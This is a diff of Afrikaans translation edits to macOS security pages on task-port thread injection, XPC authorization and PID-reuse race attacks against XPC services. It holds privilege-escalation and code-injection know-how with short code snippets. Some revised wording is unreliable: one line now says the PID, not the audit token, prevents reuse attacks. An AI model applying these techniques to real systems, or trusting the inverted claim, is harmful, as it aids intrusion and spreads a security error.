@@ -340,7 +340,7 @@ r8 = 0x1;
 var_4 = 0x0;
 }
 else {
-// Oproep na die berekende adres waar die funksie moet wees
+// Aanroep na die berekende adres waar die funksie moet wees
                             (var_20)(var_10, var_18);
                             var_4 = 0x1;
 }
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md
index a9d44a686..481d82eea 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md
@@ -13,9 +13,9 @@ Aanvanklik word die **`task_threads()`** funksie op die taakpoort aangeroep om '
 
 Om die draad te beheer, word **`thread_suspend()`** aangeroep, wat die uitvoering stop.
 
-Die enigste operasies wat op die afstandlike draad toegelaat word, behels **stop** en **begin**, **herwin** en **wysig** sy registerwaardes. Afstandlike funksie-aanroepe word geïnisieer deur registers `x0` tot `x7` op die **argumente** in te stel, **`pc`** te konfigureer om die gewenste funksie te teiken, en die draad te aktiveer. Om te verseker dat die draad nie cras nadat die terugkeer plaasvind nie, is dit nodig om die terugkeer te detecteer.
+Die enigste operasies wat op die afstandlike draad toegelaat word, behels **stop** en **begin**, **herwin** en **wysig** sy registerwaardes. Afstandlike funksie-aanroepe word geïnisieer deur registers `x0` tot `x7` op die **argumente** in te stel, **`pc`** te konfigureer om die gewenste funksie te teiken, en die draad te aktiveer. Om te verseker dat die draad nie crasht na die terugkeer nie, is dit nodig om die terugkeer te detecteer.
 
-Een strategie behels **die registrasie van 'n uitsonderinghandler** vir die afstandlike draad met behulp van `thread_set_exception_ports()`, wat die `lr` register op 'n ongeldige adres stel voor die funksie-aanroep. Dit veroorsaak 'n uitsondering na die funksie-uitvoering, wat 'n boodskap na die uitsonderingpoort stuur, wat staatinspeksie van die draad moontlik maak om die terugkeerwaarde te herstel. Alternatiewelik, soos aangeneem van Ian Beer se triple_fetch exploit, word `lr` op oneindig gelus. Die draad se registers word dan deurlopend gemonitor totdat **`pc` na daardie instruksie wys**.
+Een strategie behels **die registrasie van 'n uitsonderinghandler** vir die afstandlike draad met behulp van `thread_set_exception_ports()`, wat die `lr` register op 'n ongeldige adres stel voor die funksie-aanroep. Dit veroorsaak 'n uitsondering na funksie-uitvoering, wat 'n boodskap na die uitsonderingpoort stuur, wat staatinspeksie van die draad moontlik maak om die terugkeerwaarde te herstel. Alternatiewelik, soos aangeneem van Ian Beer se triple_fetch exploit, word `lr` op oneindig gelus. Die draad se registers word dan deurlopend gemonitor totdat **`pc` na daardie instruksie wys**.
 
 ## 2. Mach ports for communication
 
@@ -27,7 +27,7 @@ Fokus op die plaaslike poort, die ontvangreg word deur die plaaslike taak gehou.
 
 'n Strategie behels die benutting van `thread_set_special_port()` om 'n stuurreg na die plaaslike poort in die afstandlike draad se `THREAD_KERNEL_PORT` te plaas. Dan word die afstandlike draad aangesê om `mach_thread_self()` aan te roep om die stuurreg te verkry.
 
-Vir die afstandlike poort is die proses basies omgekeerd. Die afstandlike draad word aangestuur om 'n Mach-poort te genereer via `mach_reply_port()` (aangesien `mach_port_allocate()` onvanpas is weens sy terugkeermeganisme). By poortskepping word `mach_port_insert_right()` in die afstandlike draad aangeroep om 'n stuurreg te vestig. Hierdie reg word dan in die kern gestoor met `thread_set_special_port()`. Terug in die plaaslike taak, word `thread_get_special_port()` op die afstandlike draad gebruik om 'n stuurreg na die nuut toegeken Mach-poort in die afstandlike taak te verkry.
+Vir die afstandlike poort is die proses basies omgekeerd. Die afstandlike draad word aangestuur om 'n Mach-poort te genereer via `mach_reply_port()` (aangesien `mach_port_allocate()` onvanpas is weens sy terugkeermeganisme). Na poortskepping word `mach_port_insert_right()` in die afstandlike draad aangeroep om 'n stuurreg te vestig. Hierdie reg word dan in die kernel gestoor met behulp van `thread_set_special_port()`. Terug in die plaaslike taak, word `thread_get_special_port()` op die afstandlike draad gebruik om 'n stuurreg na die nuut toegeken Mach-poort in die afstandlike taak te verkry.
 
 Die voltooiing van hierdie stappe lei tot die vestiging van Mach-poorte, wat die grondslag lê vir bidireksionele kommunikasie.
 
@@ -72,13 +72,13 @@ return prop->name;
 Hierdie funksie funksioneer effektief soos die `read_func` deur die eerste veld van `objc_property_t` terug te gee.
 
 2. **Skryf Geheue:**
-Om 'n voorafgeboude funksie vir die skryf van geheue te vind, is meer uitdagend. Tog is die `_xpc_int64_set_value()` funksie van libxpc 'n geskikte kandidaat met die volgende ontbinding:
+Om 'n voorafgeboude funksie vir die skryf van geheue te vind, is meer uitdagend. egter, die `_xpc_int64_set_value()` funksie van libxpc is 'n geskikte kandidaat met die volgende ontbinding:
 ```c
 __xpc_int64_set_value:
 str x1, [x0, #0x18]
 ret
 ```
-Om 'n 64-bis skrywe op 'n spesifieke adres uit te voer, is die afstandsoproep gestruktureer as:
+Om 'n 64-bis skrywe op 'n spesifieke adres uit te voer, is die afstandlike oproep gestruktureer as:
 ```c
 _xpc_int64_set_value(address - 0x18, value)
 ```
@@ -86,7 +86,7 @@ Met hierdie primitiewe gevestig, is die verhoog gereed om gedeelde geheue te ske
 
 ## 4. Gedeelde Geheue Instelling
 
-Die doel is om gedeelde geheue tussen plaaslike en afstands take te vestig, wat dataverskuiwing vereenvoudig en die oproep van funksies met meerdere argumente fasiliteer. Die benadering behels die benutting van `libxpc` en sy `OS_xpc_shmem` objektipe, wat gebou is op Mach geheue-invoere.
+Die doel is om gedeelde geheue tussen plaaslike en afstands take te vestig, wat data-oordrag vereenvoudig en die oproep van funksies met meerdere argumente fasiliteer. Die benadering behels die benutting van `libxpc` en sy `OS_xpc_shmem` objektipe, wat gebou is op Mach geheue-invoere.
 
 ### Proses Oorsig:
 
@@ -109,9 +109,9 @@ Die doel is om gedeelde geheue tussen plaaslike en afstands take te vestig, wat
 - Valideer die afstands `OS_xpc_shmem` objek.
 - Vestig die gedeelde geheue kaart met 'n afstandsoproep na `xpc_shmem_remote()`.
 
-Deur hierdie stappe te volg, sal gedeelde geheue tussen die plaaslike en afstands take doeltreffend ingestel word, wat vir eenvoudige dataverskuiwings en die uitvoering van funksies wat meerdere argumente vereis, toelaat.
+Deur hierdie stappe te volg, sal gedeelde geheue tussen die plaaslike en afstands take doeltreffend ingestel word, wat vir eenvoudige data-oordragte en die uitvoering van funksies wat meerdere argumente vereis, toelaat.
 
-## Addisionele Kode Snippets
+## Bykomende Kode Snippets
 
 Vir geheue toewysing en gedeelde geheue objek skepping:
 ```c
@@ -131,8 +131,8 @@ Na suksesvolle vestiging van gedeelde geheue en verkryging van arbitrêre uitvoe
 
 1. **Arbitrêre Geheue Operasies**:
 
-- Voer arbitrêre geheue leeswerkzaamhede uit deur `memcpy()` aan te roep om data van die gedeelde streek te kopieer.
-- Voer arbitrêre geheue skryfwerkzaamhede uit deur `memcpy()` te gebruik om data na die gedeelde streek oor te dra.
+- Voer arbitrêre geheue leeswerk uit deur `memcpy()` aan te roep om data van die gedeelde streek te kopieer.
+- Voer arbitrêre geheue skrywe uit deur `memcpy()` te gebruik om data na die gedeelde streek oor te dra.
 
 2. **Hanteer Funksie-oproepe met Meerdere Argumente**:
 
@@ -140,16 +140,16 @@ Na suksesvolle vestiging van gedeelde geheue en verkryging van arbitrêre uitvoe
 
 3. **Mach Port Oordrag**:
 
-- Oordrag van Mach-poorte tussen take deur Mach-boodskappe via voorheen gevestigde poorte.
+- Oordrag Mach-poorte tussen take deur Mach-boodskappe via voorheen gevestigde poorte.
 
 4. **Lêer Descriptor Oordrag**:
-- Oordrag van lêer descriptors tussen prosesse met behulp van fileports, 'n tegniek wat deur Ian Beer in `triple_fetch` beklemtoon is.
+- Oordrag lêer descriptors tussen prosesse met behulp van fileports, 'n tegniek wat deur Ian Beer in `triple_fetch` beklemtoon is.
 
-Hierdie omvattende beheer is ingekapsuleer binne die [threadexec](https://github.com/bazad/threadexec) biblioteek, wat 'n gedetailleerde implementering en 'n gebruikersvriendelike API bied vir interaksie met die slagofferproses.
+Hierdie omvattende beheer is ingekapsuleer binne die [threadexec](https://github.com/bazad/threadexec) biblioteek, wat 'n gedetailleerde implementering en 'n gebruikersvriendelike API bied vir interaksie met die slagoffer proses.
 
 ## Belangrike Oorwegings:
 
-- Verseker behoorlike gebruik van `memcpy()` vir geheue lees/schryf operasies om stelsels stabiliteit en data integriteit te handhaaf.
+- Verseker behoorlike gebruik van `memcpy()` vir geheue lees/skrywe operasies om stelsels se stabiliteit en data-integriteit te handhaaf.
 - Wanneer Mach-poorte of lêer descriptors oorgedra word, volg behoorlike protokolle en hanteer hulpbronne verantwoordelik om lekkasies of onbedoelde toegang te voorkom.
 
 Deur hierdie riglyne na te kom en die `threadexec` biblioteek te benut, kan 'n mens doeltreffend prosesse op 'n fyn vlak bestuur en mee werk, wat volle beheer oor die teikenproses bereik.
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md
index b1d7081bf..b3b49b16c 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md
@@ -4,13 +4,13 @@
 
 ## Basiese Inligting
 
-XPC, wat staan vir XNU (die kern wat deur macOS gebruik word) inter-Process Communication, is 'n raamwerk vir **kommunikasie tussen prosesse** op macOS en iOS. XPC bied 'n mekanisme vir die maak van **veilige, asynchrone metode-oproepe tussen verskillende prosesse** op die stelsel. Dit is 'n deel van Apple se sekuriteitsparadigma, wat die **skepping van privilige-geskeide toepassings** moontlik maak waar elke **komponent** loop met **slegs die regte wat dit nodig het** om sy werk te doen, en sodoende die potensiële skade van 'n gecompromitteerde proses te beperk.
+XPC, wat staan vir XNU (die kern wat deur macOS gebruik word) inter-Process Communication, is 'n raamwerk vir **kommunikasie tussen prosesse** op macOS en iOS. XPC bied 'n mekanisme vir die maak van **veilige, asynchrone metode-oproepe tussen verskillende prosesse** op die stelsel. Dit is 'n deel van Apple se sekuriteitsparadigma, wat die **skepping van privilige-geskeide toepassings** moontlik maak waar elke **komponent** loop met **slegs die regte wat dit nodig het** om sy werk te doen, en so die potensiële skade van 'n gecompromitteerde proses beperk.
 
 XPC gebruik 'n vorm van Inter-Process Communication (IPC), wat 'n stel metodes is vir verskillende programme wat op dieselfde stelsel loop om data heen en weer te stuur.
 
 Die primêre voordele van XPC sluit in:
 
-1. **Sekuriteit**: Deur werk in verskillende prosesse te skei, kan elke proses slegs die regte wat dit nodig het, toegeken word. Dit beteken dat selfs al is 'n proses gecompromitteer, dit 'n beperkte vermoë het om skade aan te rig.
+1. **Sekuriteit**: Deur werk in verskillende prosesse te skei, kan elke proses slegs die regte wat dit nodig het, toegeken word. Dit beteken dat selfs al is 'n proses gecompromitteer, dit beperkte vermoë het om skade aan te rig.
 2. **Stabiliteit**: XPC help om crashes te isoleer na die komponent waar hulle voorkom. As 'n proses crash, kan dit herbegin word sonder om die res van die stelsel te beïnvloed.
 3. **Prestasie**: XPC maak dit maklik om gelyktydigheid te hê, aangesien verskillende take gelyktydig in verskillende prosesse uitgevoer kan word.
 
@@ -18,17 +18,17 @@ Die enigste **nadeel** is dat **om 'n toepassing in verskeie prosesse te skei**
 
 ## Toepassing Spesifieke XPC dienste
 
-Die XPC-komponente van 'n toepassing is **binne die toepassing self.** Byvoorbeeld, in Safari kan jy hulle vind in **`/Applications/Safari.app/Contents/XPCServices`**. Hulle het 'n uitbreiding **`.xpc`** (soos **`com.apple.Safari.SandboxBroker.xpc`**) en is **ook bundels** saam met die hoof-binary binne dit: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` en 'n `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
+Die XPC-komponente van 'n toepassing is **binne die toepassing self.** Byvoorbeeld, in Safari kan jy hulle vind in **`/Applications/Safari.app/Contents/XPCServices`**. Hulle het 'n uitbreiding **`.xpc`** (soos **`com.apple.Safari.SandboxBroker.xpc`**) en is **ook bundels** saam met die hoof-binary binne-in: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` en 'n `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
 
-Soos jy dalk dink, sal 'n **XPC-komponent verskillende regte en voorregte** hê as die ander XPC-komponente of die hoof-app binary. BEHALWE as 'n XPC-diens geconfigureer is met [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession) wat op “True” in sy **Info.plist**-lêer gestel is. In hierdie geval sal die XPC-diens in die **dieselfde sekuriteitsessie as die toepassing** wat dit aangeroep het, loop.
+Soos jy dalk dink, sal 'n **XPC-komponent verskillende regte en voorregte hê** as die ander XPC-komponente of die hoof-app binary. BEHALWE as 'n XPC-diens geconfigureer is met [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession) wat op “True” in sy **Info.plist**-lêer gestel is. In hierdie geval sal die XPC-diens in die **dieselfde sekuriteitsessie as die toepassing** wat dit aangeroep het, loop.
 
 XPC-dienste word **gestart** deur **launchd** wanneer nodig en **afgeskakel** sodra alle take **voltooi** is om stelselhulpbronne vry te maak. **Toepassing-spesifieke XPC-komponente kan slegs deur die toepassing gebruik word**, wat die risiko wat met potensiële kwesbaarhede geassosieer word, verminder.
 
 ## Stelsel Wye XPC dienste
 
-Stelsel-wye XPC-dienste is beskikbaar vir alle gebruikers. Hierdie dienste, hetsy launchd of Mach-tipe, moet **gedefinieer word in plist** lêers wat in gespesifiseerde gidse geleë is soos **`/System/Library/LaunchDaemons`**, **`/Library/LaunchDaemons`**, **`/System/Library/LaunchAgents`**, of **`/Library/LaunchAgents`**.
+Stelsel-wye XPC-dienste is beskikbaar vir alle gebruikers. Hierdie dienste, hetsy launchd of Mach-tipe, moet **in plist**-lêers gedefinieer word wat in gespesifiseerde gidse geleë is soos **`/System/Library/LaunchDaemons`**, **`/Library/LaunchDaemons`**, **`/System/Library/LaunchAgents`**, of **`/Library/LaunchAgents`**.
 
-Hierdie plists lêers sal 'n sleutel hê genaamd **`MachServices`** met die naam van die diens, en 'n sleutel genaamd **`Program`** met die pad na die binary:
+Hierdie plist-lêers sal 'n sleutel genaamd **`MachServices`** hê met die naam van die diens, en 'n sleutel genaamd **`Program`** met die pad na die binary:
 ```xml
 cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
 
@@ -116,7 +116,7 @@ Die nut `xpcproxy` gebruik die voorvoegsel `0x22`, byvoorbeeld: `0x2200001c: xpc
 
 ## XPC Gebeurtenisboodskappe
 
-Toepassings kan **subskribere** op verskillende gebeurtenis **boodskappe**, wat hulle in staat stel om **op aanvraag geaktiveer** te word wanneer sulke gebeurtenisse plaasvind. Die **opstelling** vir hierdie dienste word in **launchd plist-lêers** gedoen, geleë in die **dieselfde gidse as die vorige** en bevat 'n ekstra **`LaunchEvent`** sleutel.
+Toepassings kan **subskribere** op verskillende gebeurtenis **boodskappe**, wat hulle in staat stel om **op aanvraag geaktiveer** te word wanneer sulke gebeurtenisse plaasvind. Die **opstelling** vir hierdie dienste word in **launchd plist-lêers** gedoen, geleë in die **dieselfde direkteure as die vorige** en bevat 'n ekstra **`LaunchEvent`** sleutel.
 
 ### XPC Verbinding Proses Kontrole
 
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md
index d256ffa4a..d7684cde3 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md
@@ -27,7 +27,7 @@ newConnection.exportedObject = self;
 return YES;
 }
 ```
-Vir meer inligting oor hoe om hierdie kontrole behoorlik te konfigureer, kyk:
+Vir meer inligting oor hoe om hierdie kontrole behoorlik te konfigureer:
 
 {{#ref}}
 macos-xpc-connecting-process-check/
@@ -35,10 +35,10 @@ macos-xpc-connecting-process-check/
 
 ### Aansoekregte
 
-Daar is egter 'n **outorisering wat plaasvind wanneer 'n metode van die HelperTool aangeroep word**.
+Daar is egter 'n **autorisering wat plaasvind wanneer 'n metode van die HelperTool aangeroep word**.
 
-Die funksie **`applicationDidFinishLaunching`** van `App/AppDelegate.m` sal 'n leë outoriseringverwysing skep nadat die aansoek begin het. Dit behoort altyd te werk.\
-Dan sal dit probeer om **'n paar regte** aan daardie outoriseringverwysing toe te voeg deur `setupAuthorizationRights` aan te roep:
+Die funksie **`applicationDidFinishLaunching`** van `App/AppDelegate.m` sal 'n leë autoriseringsverwysing skep nadat die aansoek begin het. Dit behoort altyd te werk.\
+Dan sal dit probeer om **'n paar regte** aan daardie autoriseringsverwysing toe te voeg deur `setupAuthorizationRights` aan te roep:
 ```objectivec
 - (void)applicationDidFinishLaunching:(NSNotification *)note
 {
@@ -62,7 +62,7 @@ if (self->_authRef) {
 [self.window makeKeyAndOrderFront:self];
 }
 ```
-Die funksie `setupAuthorizationRights` van `Common/Common.m` sal die regte van die aansoek in die auth databasis `/var/db/auth.db` stoor. Let op hoe dit slegs die regte sal byvoeg wat nog nie in die databasis is nie:
+Die funksie `setupAuthorizationRights` van `Common/Common.m` sal die regte van die aansoek in die auth-databasis `/var/db/auth.db` stoor. Let op hoe dit slegs die regte sal byvoeg wat nog nie in die databasis is nie:
 ```objectivec
 + (void)setupAuthorizationRights:(AuthorizationRef)authRef
 // See comment in header.
@@ -172,7 +172,7 @@ block(authRightName, authRightDefault, authRightDesc);
 }];
 }
 ```
-Dit beteken dat aan die einde van hierdie proses, die toestemmings wat binne `commandInfo` verklaar is, in `/var/db/auth.db` gestoor sal word. Let op hoe daar vir **elke metode** wat **verifikasie** benodig, **toestemming naam** en die **`kCommandKeyAuthRightDefault`** gevind kan word. Laasgenoemde **aandui wie hierdie reg kan verkry**.
+Dit beteken dat aan die einde van hierdie proses, die toestemmings wat binne `commandInfo` verklaar is, in `/var/db/auth.db` gestoor sal word. Let op hoe daar vir **elke metode** wat **verifikasie vereis**, **toestemming naam** en die **`kCommandKeyAuthRightDefault`** gevind kan word. Laasgenoemde **gee aan wie hierdie reg kan verkry**.
 
 Daar is verskillende skope om aan te dui wie toegang tot 'n reg kan hê. Sommige daarvan is gedefinieer in [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity_authorization/lib/AuthorizationDB.h) (jy kan [almal daarvan hier vind](https://www.dssw.co.uk/reference/authorization-rights/)), maar as 'n opsomming:
 
@@ -180,7 +180,7 @@ Daar is verskillende skope om aan te dui wie toegang tot 'n reg kan hê. Sommige
 
 ### Regte Verifikasie
 
-In `HelperTool/HelperTool.m` kontroleer die funksie **`readLicenseKeyAuthorization`** of die oproeper gemagtig is om **so 'n metode** uit te voer deur die funksie **`checkAuthorization`** aan te roep. Hierdie funksie sal kontroleer of die **authData** wat deur die oproepende proses gestuur is, 'n **korrekte formaat** het en dan sal dit kontroleer **wat nodig is om die reg** te verkry om die spesifieke metode aan te roep. As alles goed gaan, sal die **teruggegee `error` `nil` wees**:
+In `HelperTool/HelperTool.m` kontroleer die funksie **`readLicenseKeyAuthorization`** of die oproeper gemagtig is om **so 'n metode uit te voer** deur die funksie **`checkAuthorization`** aan te roep. Hierdie funksie sal kontroleer of die **authData** wat deur die oproepende proses gestuur is, 'n **korrekte formaat** het en dan sal dit kontroleer **wat nodig is om die reg te verkry** om die spesifieke metode aan te roep. As alles goed gaan, sal die **teruggegee `error` `nil` wees**:
 ```objectivec
 - (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
 {
@@ -228,7 +228,7 @@ assert(junk == errAuthorizationSuccess);
 return error;
 }
 ```
-Let wel dat om die **vereistes te kontroleer om die reg** te hê om daardie metode aan te roep, die funksie `authorizationRightForCommand` net die voorheen kommentaar objek **`commandInfo`** sal kontroleer. Dan sal dit **`AuthorizationCopyRights`** aanroep om te kontroleer **of dit die regte het** om die funksie aan te roep (let daarop dat die vlae interaksie met die gebruiker toelaat).
+Let wel dat om die vereistes te **kontroleer om die regte** te verkry om daardie metode aan te roep, die funksie `authorizationRightForCommand` net die voorheen kommentaar objek **`commandInfo`** sal kontroleer. Dan sal dit **`AuthorizationCopyRights`** aanroep om te kontroleer **of dit die regte het** om die funksie aan te roep (let daarop dat die vlae interaksie met die gebruiker toelaat).
 
 In hierdie geval, om die funksie `readLicenseKeyAuthorization` aan te roep, is die `kCommandKeyAuthRightDefault` gedefinieer as `@kAuthorizationRuleClassAllow`. So **enige iemand kan dit aanroep**.
 
@@ -246,7 +246,7 @@ security authorizationdb read com.apple.safaridriver.allow
 ```
 ### Toegestane regte
 
-Jy kan **alle die toestemmingskonfigurasies** [**hier**](https://www.dssw.co.uk/reference/authorization-rights/) vind, maar die kombinasies wat nie gebruikersinteraksie sal vereis nie, sou wees:
+Jy kan **alle die toestemmingskonfigurasies** [**hier**](https://www.dssw.co.uk/reference/authorization-rights/) vind, maar die kombinasies wat nie gebruikersinteraksie vereis nie, sou wees:
 
 1. **'authenticate-user': 'false'**
 - Dit is die mees direkte sleutel. As dit op `false` gestel is, spesifiseer dit dat 'n gebruiker nie hoef te autentiseer om hierdie reg te verkry nie.
@@ -277,9 +277,9 @@ As jy die funksie: **`[HelperTool checkAuthorization:command:]`** vind, is dit w
 
 
-As hierdie funksie funksies soos `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree` aanroep, gebruik dit [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154). +As hierdie funksie funksies aanroep soos `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`, gebruik dit [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154). -Kontroleer die **`/var/db/auth.db`** om te sien of dit moontlik is om toestemming te verkry om 'n sekere bevoorregte aksie aan te roep sonder gebruikersinteraksie. +Kontroleer die **`/var/db/auth.db`** om te sien of dit moontlik is om toestemming te verkry om 'n sekere bevoorregte aksie te bel sonder gebruikersinteraksie. ### Protokol Kommunikasie diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md index 81d4c8eca..6a174a4d5 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md @@ -8,16 +8,16 @@ Wanneer 'n verbinding met 'n XPC-diens tot stand gebring word, sal die bediener 1. Kontroleer of die verbindende **proses onderteken is met 'n Apple-ondertekende** sertifikaat (slegs deur Apple uitgereik). - As dit **nie geverifieer** is nie, kan 'n aanvaller 'n **valse sertifikaat** skep om aan enige ander kontrole te voldoen. -2. Kontroleer of die verbindende proses onderteken is met die **organisasie se sertifikaat**, (span ID verifikasie). +2. Kontroleer of die verbindende proses onderteken is met die **organisasie se sertifikaat** (span-ID verifikasie). - As dit **nie geverifieer** is nie, kan **enige ontwikkelaar sertifikaat** van Apple gebruik word om te onderteken en met die diens te verbind. -3. Kontroleer of die verbindende proses **'n behoorlike bundel ID** bevat. +3. Kontroleer of die verbindende proses **'n behoorlike bundel-ID** bevat. - As dit **nie geverifieer** is nie, kan enige hulpmiddel **onderteken deur dieselfde org** gebruik word om met die XPC-diens te kommunikeer. 4. (4 of 5) Kontroleer of die verbindende proses 'n **behoorlike sagteware weergawe nommer** het. - As dit **nie geverifieer** is nie, kan 'n ou, onveilige kliënt, kwesbaar vir proses-inspuiting, gebruik word om met die XPC-diens te verbind, selfs met die ander kontroles in plek. 5. (4 of 5) Kontroleer of die verbindende proses 'n geharde tydperk het sonder gevaarlike regte (soos dié wat toelaat om arbitrêre biblioteke te laai of DYLD omgewingsveranderlikes te gebruik). 1. As dit **nie geverifieer** is nie, mag die kliënt **kwesbaar wees vir kode-inspuiting**. 6. Kontroleer of die verbindende proses 'n **regte** het wat dit toelaat om met die diens te verbind. Dit is van toepassing op Apple-binaries. -7. Die **verifikasie** moet **gebaseer** wees op die verbindende **kliënt se oudit-token** **in plaas van** sy proses ID (**PID**) aangesien die eerste **PID hergebruik aanvalle** voorkom. +7. Die **verifikasie** moet **gebaseer** wees op die verbindende **kliënt se oudit-token** **in plaas van** sy proses-ID (**PID**) aangesien laasgenoemde **PID hergebruik aanvalle** voorkom. - Ontwikkelaars **gebruik selde die oudit-token** API-oproep aangesien dit **privaat** is, so Apple kan dit **enige tyd verander**. Boonop is privaat API-gebruik nie toegelaat in Mac App Store-apps nie. - As die metode **`processIdentifier`** gebruik word, mag dit kwesbaar wees. - **`xpc_dictionary_get_audit_token`** moet gebruik word in plaas van **`xpc_connection_get_audit_token`**, aangesien laasgenoemde ook [kwesbaar kan wees in sekere situasies](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-pid-reuse.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-pid-reuse.md index b06e29cd2..75c6bae34 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-pid-reuse.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-pid-reuse.md @@ -4,24 +4,24 @@ ## PID Hergebruik -Wanneer 'n macOS **XPC diens** die aangeroepde proses op grond van die **PID** nagaan en nie op die **audit token** nie, is dit kwesbaar vir 'n PID hergebruik aanval. Hierdie aanval is gebaseer op 'n **wedlooptoestand** waar 'n **exploit** **boodskappe na die XPC** diens **misbruik** van die funksionaliteit gaan **stuur** en net **nadat** dit, **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** met die **toegelate** binêre uitvoer. +Wanneer 'n macOS **XPC diens** die aangeroepde proses op grond van die **PID** nagaan en nie op die **audit token** nie, is dit kwesbaar vir 'n PID hergebruik aanval. Hierdie aanval is gebaseer op 'n **wedlooptoestand** waar 'n **ontploffing** **boodskappe na die XPC** diens **misbruik** van die funksionaliteit gaan **stuur** en net **na** dit, **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** met die **toegelate** binêre uitvoer. -Hierdie funksie sal die **toegelate binêre die PID** laat besit, maar die **kwade XPC boodskap sou net voorheen gestuur gewees het**. So, as die **XPC** diens die **PID** gebruik om die sender te **verifieer** en dit **NADAT** die uitvoering van **`posix_spawn`** nagaan, sal dit dink dit kom van 'n **geakkrediteerde** proses. +Hierdie funksie sal die **toegelate binêre die PID** laat besit, maar die **kwade XPC boodskap sou net voorheen gestuur gewees het**. So, as die **XPC** diens die **PID** gebruik om die sender te **verifieer** en dit **NÁ** die uitvoering van **`posix_spawn`** nagaan, sal dit dink dit kom van 'n **geakkrediteerde** proses. -### Exploit voorbeeld +### Ontploffing voorbeeld As jy die funksie **`shouldAcceptNewConnection`** of 'n funksie wat deur dit **aangeroep** word **`processIdentifier`** noem en nie **`auditToken`** aanroep nie. Dit beteken hoogs waarskynlik dat dit die **proses PID** nagaan en nie die audit token nie.\ Soos byvoorbeeld in hierdie beeld (geneem uit die verwysing):
https://wojciechregula.blog/images/2020/04/pid.png
